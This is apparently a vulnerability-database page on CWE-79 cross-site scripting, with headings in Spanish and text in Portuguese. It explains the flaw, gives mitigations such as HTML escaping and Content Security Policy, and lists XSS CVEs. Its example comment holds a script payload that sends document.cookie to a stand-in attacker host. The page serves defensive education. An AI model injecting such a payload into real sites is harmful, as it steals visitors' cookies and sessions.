Fallos del tipo CWE-79

28.677 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-28309HIGHMicrosoft Dynamics 365 (on-premises) Cross-site Scripting VulnerabilityEPSS 0.7%CVE-2020-8031MEDIUMobs: Stored XSSEPSS 0.7%CVE-2022-4035HIGHAppointment Hour Booking <= 1.3.72 - Unauthenticated iFrame Injection via Appointment FormEPSS 0.7%CVE-2018-6590—CA API Developer Portal 4.x, prior to v4.2.5.3 and v4.2.7.1, has an unspecified reflected cross-site scripting vulnerability.EPSS 0.7%CVE-2021-39183HIGHUnsafe inline XSS OwncastEPSS 0.7%CVE-2021-24455—Tutor LMS < 1.9.2 - Authenticated Stored Cross-Site Scripting (XSS)EPSS 0.7%CVE-2009-10001LOWjianlinwei cool-php-captcha example-form.php cross site scriptingEPSS 0.7%CVE-2017-7538LOWA cross-site scripting (XSS) flaw was found in how an organization name is displayed in Satellite 5, before 5.8. A user able to change an orEPSS 0.7%CVE-2021-24201—Elementor < 3.1.2 - Authenticated Stored Cross-Site Scripting (XSS) in Column ElementEPSS 0.7%CVE-2018-19942—Cross-site Scripting Vulnerability in File StationEPSS 0.7%CVE-2021-24204—Elementor < 3.1.2 - Authenticated Stored Cross-Site Scripting (XSS) in Accordion WidgetEPSS 0.7%CVE-2021-41565MEDIUMTad TadTools - Reflected XSSEPSS 0.7%CVE-2021-21577MEDIUMDell EMC iDRAC9 versions prior to 4.40.40.00 contain a DOM-based cross-site scripting vulnerability. A remote attacker could potentially expEPSS 0.7%CVE-2021-24206—Elementor < 3.1.2 - Authenticated Stored Cross-Site Scripting (XSS) in Image Box WidgetEPSS 0.7%CVE-2024-0376MEDIUMPremium Addons for Elementor <= 4.10.16 - Authenticated(Contributor+) Stored Cross-Site Scripting via Wrapper Link WidgetEPSS 0.7%CVE-2022-1682CRITICALReflected Xss using url based payload in neorazorx/facturascriptsEPSS 0.7%CVE-2021-21576MEDIUMDell EMC iDRAC9 versions prior to 4.40.40.00 contain a DOM-based cross-site scripting vulnerability. A remote attacker could potentially expEPSS 0.7%CVE-2021-24202—Elementor < 3.1.2 - Authenticated Stored Cross-Site Scripting (XSS) in Heading WidgetEPSS 0.7%CVE-2021-21581MEDIUMDell EMC iDRAC9 versions prior to 5.00.00.00 contain a cross-site scripting vulnerability. A remote attacker could potentially exploit this EPSS 0.7%CVE-2021-24203—Elementor < 3.1.2 - Authenticated Stored Cross-Site Scripting (XSS) in Divider WidgetEPSS 0.7%